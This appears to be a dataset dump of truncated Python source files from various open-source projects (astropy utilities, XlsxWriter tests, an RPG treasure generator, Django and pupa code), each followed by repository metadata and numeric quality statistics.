def test_sim... | 33.52 | 70 | 0.648568 | 182 | 1,676 | 5.82967 | 0.285714 | 0.147031 | 0.070688 | 0.048068 | 0.422243 | 0.382658 | 0.382658 | 0.382658 | 0.382658 | 0.382658 | 0 | 0.00158 | 0.24463 | 1,676 | 49 | 71 | 34.204082 | 0.836493 | 0.01253 | 0 | 0.3 | 0 | 0 | 0.101633 | 0 | 0 | 0 | 0 | 0 | 0.45 | 1 | 0.05 | false | 0 | 0.15 | 0 | 0.225 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7e63e3b77d732305764d664c862b2625865bf3a | 864 | py | Python | xastropy/files/general.py | bpholden/xastropy | 66aff0995a84c6829da65996d2379ba4c946dabe | [
"BSD-3-Clause"
] | 3 | 2015-08-23T00:32:58.000Z | 2020-12-31T02:37:52.000Z | xastropy/files/general.py | Kristall-WangShiwei/xastropy | 723fe56cb48d5a5c4cdded839082ee12ef8c6732 | [
"BSD-3-Clause"
] | 104 | 2015-07-17T18:31:54.000Z | 2018-06-29T17:04:09.000Z | xastropy/files/general.py | Kristall-WangShiwei/xastropy | 723fe56cb48d5a5c4cdded839082ee12ef8c6732 | [
"BSD-3-Clause"
] | 16 | 2015-07-17T15:50:37.000Z | 2019-04-21T03:42:47.000Z | """
#;+
#; NAME:
#; general
#; Version 1.0
#;
#; PURPOSE:
#; Module for monkeying with files and filenames
#; 172Sep-2014 by JXP
#;-
#;------------------------------------------------------------------------------
"""
# Import libraries
import numpy as np
from astropy.io import fits
from astropy.io import as... | 19.2 | 80 | 0.508102 | 107 | 864 | 4.084112 | 0.504673 | 0.102975 | 0.102975 | 0.086957 | 0.183066 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021841 | 0.258102 | 864 | 44 | 81 | 19.636364 | 0.659906 | 0.417824 | 0 | 0.5 | 0 | 0 | 0.019824 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0.277778 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c7e69418daeb84532c16aa76c96e7a0136b72521 | 655 | py | Python | setup.py | muatik/genderizer | 9866bf0371d1d984f6c4465ff78025d911f6a648 | [
"MIT"
] | 54 | 2015-01-19T22:53:48.000Z | 2021-06-23T03:48:05.000Z | setup.py | nejdetckenobi/genderizer | 9866bf0371d1d984f6c4465ff78025d911f6a648 | [
"MIT"
] | 4 | 2016-05-23T13:52:12.000Z | 2021-05-14T10:24:37.000Z | setup.py | nejdetckenobi/genderizer | 9866bf0371d1d984f6c4465ff78025d911f6a648 | [
"MIT"
] | 18 | 2015-01-30T00:06:40.000Z | 2021-03-12T14:56:12.000Z | #!/usr/bin/env python
try:
from setuptools.core import setup
except ImportError:
from distutils.core import setup
setup(name='genderizer',
version='0.1.2.3',
license='MIT',
description='Genderizer tries to infer gender information looking at first name and/or making text analysis',
lo... | 31.190476 | 115 | 0.668702 | 79 | 655 | 5.493671 | 0.721519 | 0.046083 | 0.069124 | 0.087558 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007533 | 0.189313 | 655 | 21 | 116 | 31.190476 | 0.809793 | 0.030534 | 0 | 0 | 0 | 0 | 0.384252 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.176471 | 0 | 0.176471 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7eb49aae87e95e2b4d243e5c05c7251bfbcbd52 | 2,508 | py | Python | xlsxwriter/test/worksheet/test_write_print_options.py | Aeon1/XlsxWriter | 6871b6c3fe6c294632054ea91f23d9e27068bcc1 | [
"BSD-2-Clause-FreeBSD"
] | 2 | 2019-07-25T06:08:09.000Z | 2019-11-01T02:33:56.000Z | xlsxwriter/test/worksheet/test_write_print_options.py | Aeon1/XlsxWriter | 6871b6c3fe6c294632054ea91f23d9e27068bcc1 | [
"BSD-2-Clause-FreeBSD"
] | 13 | 2019-07-14T00:29:05.000Z | 2019-11-26T06:16:46.000Z | xlsxwriter/test/worksheet/test_write_print_options.py | Aeon1/XlsxWriter | 6871b6c3fe6c294632054ea91f23d9e27068bcc1 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | ###############################################################################
#
# Tests for XlsxWriter.
#
# Copyright (c), 2013-2019, John McNamara, jmcnamara@cpan.org
#
import unittest
from ...compatibility import StringIO
from ...worksheet import Worksheet
class TestWritePrintOptions(unittest.TestCase):
"""
... | 28.179775 | 79 | 0.637161 | 269 | 2,508 | 5.669145 | 0.211896 | 0.12459 | 0.211803 | 0.119344 | 0.748197 | 0.691803 | 0.691803 | 0.61377 | 0.457705 | 0.378361 | 0 | 0.008147 | 0.216906 | 2,508 | 88 | 80 | 28.5 | 0.76833 | 0.192584 | 0 | 0.545455 | 0 | 0 | 0.085488 | 0.047493 | 0 | 0 | 0 | 0 | 0.136364 | 1 | 0.159091 | false | 0 | 0.068182 | 0 | 0.25 | 0.363636 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7f405a9090e4db54d759cf9f413be8921191675 | 3,890 | py | Python | IPython/lib/tests/test_irunner_pylab_magic.py | dchichkov/ipython | 8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4 | [
"BSD-3-Clause-Clear"
] | null | null | null | IPython/lib/tests/test_irunner_pylab_magic.py | dchichkov/ipython | 8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4 | [
"BSD-3-Clause-Clear"
] | 3 | 2015-04-01T13:14:57.000Z | 2015-05-26T16:01:37.000Z | IPython/lib/tests/test_irunner_pylab_magic.py | dchichkov/ipython | 8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4 | [
"BSD-3-Clause-Clear"
] | 1 | 2021-10-06T07:59:25.000Z | 2021-10-06T07:59:25.000Z | """Test suite for pylab_import_all magic
Modified from the irunner module but using regex.
"""
# Global to make tests extra verbose and help debugging
VERBOSE = True
# stdlib imports
import StringIO
import sys
import unittest
import re
# IPython imports
from IPython.lib import irunner
from IPython.testing import dec... | 32.689076 | 87 | 0.608226 | 501 | 3,890 | 4.608782 | 0.289421 | 0.042876 | 0.054569 | 0.048506 | 0.522304 | 0.466869 | 0.466869 | 0.443482 | 0.443482 | 0.443482 | 0 | 0.008084 | 0.268638 | 3,890 | 118 | 88 | 32.966102 | 0.803515 | 0.075578 | 0 | 0.446809 | 0 | 0 | 0.392017 | 0.072684 | 0 | 0 | 0 | 0 | 0.010638 | 0 | null | null | 0 | 0.234043 | null | null | 0.042553 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1be2fe74c868aa22cedb699484c807fd62b32107 | 14,174 | py | Python | Dungeoneer/Treasure.py | jameslemon81/Dungeoneer | 8a2a1bfea06ae09f1898583999bf449c82ba4ce9 | [
"BSD-3-Clause"
] | 12 | 2015-01-29T17:15:46.000Z | 2022-02-23T05:58:49.000Z | Dungeoneer/Treasure.py | jameslemon81/Dungeoneer | 8a2a1bfea06ae09f1898583999bf449c82ba4ce9 | [
"BSD-3-Clause"
] | null | null | null | Dungeoneer/Treasure.py | jameslemon81/Dungeoneer | 8a2a1bfea06ae09f1898583999bf449c82ba4ce9 | [
"BSD-3-Clause"
] | 8 | 2016-07-04T18:09:50.000Z | 2022-02-23T05:58:48.000Z | # Basic Fantasy RPG Dungeoneer Suite
# Copyright 2007-2012 Chris Gonnerman
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# Redistributions of source code must retain the above copyright
# no... | 32.734411 | 79 | 0.417172 | 1,945 | 14,174 | 2.862211 | 0.143959 | 0.122148 | 0.016167 | 0.021556 | 0.447638 | 0.397341 | 0.288126 | 0.146937 | 0.130771 | 0.126639 | 0 | 0.129187 | 0.380697 | 14,174 | 432 | 80 | 32.810185 | 0.505013 | 0.113729 | 0 | 0.250704 | 0 | 0 | 0.044554 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.002817 | 0.011268 | null | null | 0.019718 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1be38ec637c07219a45f7c7ba15326a16a343d58 | 396 | py | Python | T2API/migrations/0008_product_weight.py | hackhb18-T2/api | c42be466492d07d6451ff3145985cd8cc0927257 | [
"Apache-2.0"
] | null | null | null | T2API/migrations/0008_product_weight.py | hackhb18-T2/api | c42be466492d07d6451ff3145985cd8cc0927257 | [
"Apache-2.0"
] | null | null | null | T2API/migrations/0008_product_weight.py | hackhb18-T2/api | c42be466492d07d6451ff3145985cd8cc0927257 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 2.0.2 on 2018-02-17 10:50
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('T2API', '0007_apiuser_deviceuser'),
]
operations = [
migrations.AddField(
model_name='product',
name='weight',
... | 20.842105 | 63 | 0.60101 | 42 | 396 | 5.595238 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070423 | 0.282828 | 396 | 18 | 64 | 22 | 0.757042 | 0.113636 | 0 | 0 | 1 | 0 | 0.117479 | 0.065903 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1be5b77cc2bbea8d65329992b137d52e24f4e227 | 441 | py | Python | changes/api/build_coverage.py | vault-the/changes | 37e23c3141b75e4785cf398d015e3dbca41bdd56 | [
"Apache-2.0"
] | 443 | 2015-01-03T16:28:39.000Z | 2021-04-26T16:39:46.000Z | changes/api/build_coverage.py | vault-the/changes | 37e23c3141b75e4785cf398d015e3dbca41bdd56 | [
"Apache-2.0"
] | 12 | 2015-07-30T19:07:16.000Z | 2016-11-07T23:11:21.000Z | changes/api/build_coverage.py | vault-the/changes | 37e23c3141b75e4785cf398d015e3dbca41bdd56 | [
"Apache-2.0"
] | 47 | 2015-01-09T10:04:00.000Z | 2020-11-18T17:58:19.000Z | from changes.api.base import APIView
from changes.lib.coverage import get_coverage_by_build_id, merged_coverage_data
from changes.models.build import Build
class BuildTestCoverageAPIView(APIView):
def get(self, build_id):
build = Build.query.get(build_id)
if build is None:
return '',... | 25.941176 | 79 | 0.730159 | 60 | 441 | 5.133333 | 0.433333 | 0.113636 | 0.084416 | 0.116883 | 0.12987 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008475 | 0.197279 | 441 | 16 | 80 | 27.5625 | 0.861582 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.3 | 0 | 0.7 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
1beb0ef06d9c6f7de745f499f7af1a9f705e4a88 | 929 | py | Python | sendsms/backends/rq.py | this-is-the-bard/django-sendsms | 8944b7d276f91b019ad6aa2e7e29324fa107fa01 | [
"MIT"
] | null | null | null | sendsms/backends/rq.py | this-is-the-bard/django-sendsms | 8944b7d276f91b019ad6aa2e7e29324fa107fa01 | [
"MIT"
] | null | null | null | sendsms/backends/rq.py | this-is-the-bard/django-sendsms | 8944b7d276f91b019ad6aa2e7e29324fa107fa01 | [
"MIT"
] | null | null | null | """ python-rq based backend
This backend will send your messages asynchronously with python-rq.
Before using this backend, make sure that django-rq is installed and
configured.
Usage
-----
In settings.py
SENDSMS_BACKEND = 'sendsms.backends.rq.SmsBackend'
RQ_SENDSMS_BACKEND = 'actual.backend.to.use.SmsBack... | 22.119048 | 68 | 0.787944 | 120 | 929 | 5.933333 | 0.441667 | 0.13764 | 0.134831 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137783 | 929 | 41 | 69 | 22.658537 | 0.888889 | 0.344456 | 0 | 0 | 0 | 0 | 0.066778 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.333333 | 0 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
1bed3f78be12183f03bd98f78582fb16d8457339 | 2,435 | py | Python | venv/Lib/site-packages/openpyxl/worksheet/errors.py | ajayiagbebaku/NFL-Model | afcc67a85ca7138c58c3334d45988ada2da158ed | [
"MIT"
] | 5,079 | 2015-01-01T03:39:46.000Z | 2022-03-31T07:38:22.000Z | venv/Lib/site-packages/openpyxl/worksheet/errors.py | ajayiagbebaku/NFL-Model | afcc67a85ca7138c58c3334d45988ada2da158ed | [
"MIT"
] | 1,623 | 2015-01-01T08:06:24.000Z | 2022-03-30T19:48:52.000Z | venv/Lib/site-packages/openpyxl/worksheet/errors.py | ajayiagbebaku/NFL-Model | afcc67a85ca7138c58c3334d45988ada2da158ed | [
"MIT"
] | 2,033 | 2015-01-04T07:18:02.000Z | 2022-03-28T19:55:47.000Z | #Autogenerated schema
from openpyxl.descriptors.serialisable import Serialisable
from openpyxl.descriptors import (
Typed,
String,
Bool,
Sequence,
)
from openpyxl.descriptors.excel import CellRange
class Extension(Serialisable):
tagname = "extension"
uri = String(allow_none=True)
def __... | 25.904255 | 64 | 0.631622 | 202 | 2,435 | 7.420792 | 0.227723 | 0.066044 | 0.095397 | 0.102068 | 0.032021 | 0.032021 | 0 | 0 | 0 | 0 | 0 | 0 | 0.293635 | 2,435 | 93 | 65 | 26.182796 | 0.871512 | 0.022998 | 0 | 0.117647 | 1 | 0 | 0.02862 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0 | 0.044118 | 0 | 0.455882 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1beeb9bf708d482300442a926d31325bbdca0e33 | 619 | py | Python | SmartMove/SmartConnector/cpapi/utils.py | themichaelasher/SmartMove | 074c6e1a854fdfc21fb292e575a869719d56c5d5 | [
"Apache-2.0"
] | 24 | 2018-03-15T09:00:51.000Z | 2022-03-17T05:19:47.000Z | SmartMove/SmartConnector/cpapi/utils.py | themichaelasher/SmartMove | 074c6e1a854fdfc21fb292e575a869719d56c5d5 | [
"Apache-2.0"
] | 8 | 2020-01-20T15:44:42.000Z | 2021-10-18T05:39:04.000Z | SmartMove/SmartConnector/cpapi/utils.py | themichaelasher/SmartMove | 074c6e1a854fdfc21fb292e575a869719d56c5d5 | [
"Apache-2.0"
] | 22 | 2018-06-04T20:36:41.000Z | 2022-03-16T17:10:44.000Z | import json
import sys
def compatible_loads(json_data):
"""
Function json.loads in python 3.0 - 3.5 can't handle bytes, so this function handle it.
:param json_data:
:return: unicode (str if it's python 3)
"""
if isinstance(json_data, bytes) and (3, 0) <= sys.version_info < (3, 6):
... | 24.76 | 92 | 0.610662 | 88 | 619 | 4.147727 | 0.488636 | 0.131507 | 0.071233 | 0.082192 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026786 | 0.276252 | 619 | 24 | 93 | 25.791667 | 0.787946 | 0.297254 | 0 | 0 | 0 | 0 | 0.013587 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.181818 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
1bef7a1aa389a58d40ce648d1ed75a0579e889d3 | 8,752 | py | Python | tests/test_benchmark.py | fossabot/BIRL | 62e91523ac5797a13a7b78b9869ccfdf61cc60d8 | [
"BSD-3-Clause"
] | null | null | null | tests/test_benchmark.py | fossabot/BIRL | 62e91523ac5797a13a7b78b9869ccfdf61cc60d8 | [
"BSD-3-Clause"
] | null | null | null | tests/test_benchmark.py | fossabot/BIRL | 62e91523ac5797a13a7b78b9869ccfdf61cc60d8 | [
"BSD-3-Clause"
] | null | null | null | """
Testing default benchmarks in single thred and parallel configuration
Check whether it generates correct outputs and resulting values
Copyright (C) 2017-2019 Jiri Borovec <jiri.borovec@fel.cvut.cz>
"""
import argparse
import logging
import os
import shutil
import sys
import unittest
try: # python 3
from uni... | 38.725664 | 114 | 0.63654 | 1,077 | 8,752 | 4.91922 | 0.241411 | 0.020385 | 0.018875 | 0.018498 | 0.375047 | 0.297282 | 0.265761 | 0.196112 | 0.118724 | 0.118724 | 0 | 0.00907 | 0.256741 | 8,752 | 225 | 115 | 38.897778 | 0.80538 | 0.110946 | 0 | 0.283237 | 1 | 0 | 0.101827 | 0.006348 | 0 | 0 | 0 | 0 | 0.115607 | 1 | 0.075145 | false | 0 | 0.098266 | 0.00578 | 0.184971 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1bf2d4c209e500db17a5c6d33e7442b5b858b75b | 343 | py | Python | sum.py | PraghadeshManivannan/Built-in-Functions-Python | a3120641e03e7be8e1408dd467997ad6fdf04d87 | [
"MIT"
] | null | null | null | sum.py | PraghadeshManivannan/Built-in-Functions-Python | a3120641e03e7be8e1408dd467997ad6fdf04d87 | [
"MIT"
] | null | null | null | sum.py | PraghadeshManivannan/Built-in-Functions-Python | a3120641e03e7be8e1408dd467997ad6fdf04d87 | [
"MIT"
] | null | null | null |
#sum(iterable, start=0, /)
#Return the sum of a 'start' value (default: 0) plus an iterable of numbers
#When the iterable is empty, return the start value.
'''This function is intended specifically for use with numeric values and may
reject non-numeric types.'''
a = [1,3,5,7,9,4,6,2,8]
print(sum(a))
pr... | 24.5 | 78 | 0.676385 | 61 | 343 | 3.803279 | 0.655738 | 0.077586 | 0.077586 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043321 | 0.19242 | 343 | 13 | 79 | 26.384615 | 0.794224 | 0.731778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.666667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
1bf74b762d2902af1c8ee402ce83c52345c29025 | 5,266 | py | Python | tests/commonsense/semantic_lexicon_knowledge/ai2_lexicon_test.py | keisks/propara | 49fa8fe0481291df18b2c7b48e7ba1dafaad48e2 | [
"Apache-2.0"
] | 84 | 2018-06-02T02:00:53.000Z | 2022-03-13T12:17:42.000Z | tests/commonsense/semantic_lexicon_knowledge/ai2_lexicon_test.py | keisks/propara | 49fa8fe0481291df18b2c7b48e7ba1dafaad48e2 | [
"Apache-2.0"
] | 3 | 2018-10-31T00:28:31.000Z | 2020-05-12T01:06:53.000Z | tests/commonsense/semantic_lexicon_knowledge/ai2_lexicon_test.py | keisks/propara | 49fa8fe0481291df18b2c7b48e7ba1dafaad48e2 | [
"Apache-2.0"
] | 13 | 2018-09-14T20:37:51.000Z | 2021-03-23T09:24:49.000Z | from unittest import TestCase
from propara.commonsense.semantic_lexicon_knowledge.ai2_lexicon import AI2Lexicon, AI2LexiconPredicate, AI2LexiconArg, AI2LexiconIndications, \
AI2LexiconPattern
class TestAI2Lexicon(TestCase):
def setUp(self):
self.lexicon_fp = "tests/fixtures/ie/TheSemanticLexicon-v3.0... | 71.162162 | 143 | 0.681732 | 614 | 5,266 | 5.630293 | 0.245928 | 0.101822 | 0.099798 | 0.14637 | 0.663581 | 0.64015 | 0.568412 | 0.538039 | 0.472375 | 0.405265 | 0 | 0.014955 | 0.238131 | 5,266 | 73 | 144 | 72.136986 | 0.84671 | 0.230915 | 0 | 0.148936 | 0 | 0 | 0.084119 | 0.013151 | 0 | 0 | 0 | 0 | 0.553191 | 1 | 0.06383 | false | 0 | 0.042553 | 0 | 0.12766 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4007ccb371063c993bd22bb2370d18838e357a3f | 3,218 | py | Python | extractor/util.py | bcskda/vk-archive-deepercopy | 3619b94eb3e0f5f67860022cdfb2074e457c0cd2 | [
"Unlicense"
] | 1 | 2020-04-24T09:24:31.000Z | 2020-04-24T09:24:31.000Z | extractor/util.py | bcskda/vk-archive-deepercopy | 3619b94eb3e0f5f67860022cdfb2074e457c0cd2 | [
"Unlicense"
] | null | null | null | extractor/util.py | bcskda/vk-archive-deepercopy | 3619b94eb3e0f5f67860022cdfb2074e457c0cd2 | [
"Unlicense"
] | null | null | null | import functools
import glob
import itertools
import logging
import os
from progressbar import progressbar
import re
import requests
from typing import List
class ValueSingleDispatch:
def __init__(self):
self._handlers = dict()
def register(self, key):
def decorator(fn: callable):
... | 38.771084 | 134 | 0.657551 | 408 | 3,218 | 5.04902 | 0.330882 | 0.034951 | 0.049515 | 0.050971 | 0.124757 | 0.124272 | 0.032039 | 0 | 0 | 0 | 0 | 0.003168 | 0.215351 | 3,218 | 82 | 135 | 39.243902 | 0.812673 | 0.044438 | 0 | 0.029412 | 0 | 0 | 0.142624 | 0.059073 | 0 | 0 | 0 | 0.012195 | 0 | 1 | 0.147059 | false | 0 | 0.132353 | 0.014706 | 0.382353 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
400afc4da001a8c030925a65e03f44b9ed050772 | 1,637 | py | Python | setup.py | gillins/pyshepseg | bfa8d157d610bf4f581a2500d0afb42d4f92d59b | [
"MIT"
] | 5 | 2021-02-03T05:02:56.000Z | 2022-01-31T07:55:20.000Z | setup.py | gillins/pyshepseg | bfa8d157d610bf4f581a2500d0afb42d4f92d59b | [
"MIT"
] | 14 | 2021-02-03T04:18:48.000Z | 2022-01-24T03:50:22.000Z | setup.py | gillins/pyshepseg | bfa8d157d610bf4f581a2500d0afb42d4f92d59b | [
"MIT"
] | 13 | 2021-02-03T03:41:17.000Z | 2022-01-24T04:21:23.000Z | #Copyright 2021 Neil Flood and Sam Gillingham. All rights reserved.
#
#Permission is hereby granted, free of charge, to any person
#obtaining a copy of this software and associated documentation
#files (the "Software"), to deal in the Software without restriction,
#including without limitation the rights to use, cop... | 46.771429 | 106 | 0.756261 | 233 | 1,637 | 5.287554 | 0.566524 | 0.071429 | 0.038961 | 0.024351 | 0.040584 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002963 | 0.175321 | 1,637 | 34 | 107 | 48.147059 | 0.90963 | 0.662187 | 0 | 0 | 0 | 0 | 0.478424 | 0.144465 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.166667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
401988f94a7b7ebda02b1f821bbce411385f8136 | 3,885 | py | Python | pupa/tests/importers/test_base_importer.py | influence-usa/pupa | 5105c39a535ad401f7babe4eecb3861bed1f8326 | [
"BSD-3-Clause"
] | null | null | null | pupa/tests/importers/test_base_importer.py | influence-usa/pupa | 5105c39a535ad401f7babe4eecb3861bed1f8326 | [
"BSD-3-Clause"
] | 3 | 2015-06-09T19:22:50.000Z | 2015-06-09T21:41:22.000Z | pupa/tests/importers/test_base_importer.py | influence-usa/pupa | 5105c39a535ad401f7babe4eecb3861bed1f8326 | [
"BSD-3-Clause"
] | null | null | null | import os
import json
import shutil
import tempfile
import mock
import pytest
from opencivicdata.models import Person
from pupa.scrape import Person as ScrapePerson
from pupa.scrape import Organization as ScrapeOrganization
from pupa.importers.base import omnihash, BaseImporter
from pupa.importers import PersonImporter... | 31.585366 | 94 | 0.686486 | 543 | 3,885 | 4.775322 | 0.344383 | 0.030852 | 0.030852 | 0.034709 | 0.257231 | 0.163903 | 0.115696 | 0.115696 | 0.086386 | 0.040108 | 0 | 0.012295 | 0.183526 | 3,885 | 122 | 95 | 31.844262 | 0.80517 | 0.186873 | 0 | 0.186667 | 0 | 0 | 0.09366 | 0 | 0 | 0 | 0 | 0 | 0.16 | 1 | 0.093333 | false | 0 | 0.346667 | 0 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
401fd2803f10b2fab1010a7dfe0776cbe8cc8571 | 11,612 | py | Python | neutron_fwaas/extensions/firewall_v2.py | sapcc/neutron-fwaas | 59bad17387d15f86ea7d08f8675208160a999ffe | [
"Apache-2.0"
] | null | null | null | neutron_fwaas/extensions/firewall_v2.py | sapcc/neutron-fwaas | 59bad17387d15f86ea7d08f8675208160a999ffe | [
"Apache-2.0"
] | null | null | null | neutron_fwaas/extensions/firewall_v2.py | sapcc/neutron-fwaas | 59bad17387d15f86ea7d08f8675208160a999ffe | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2016 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
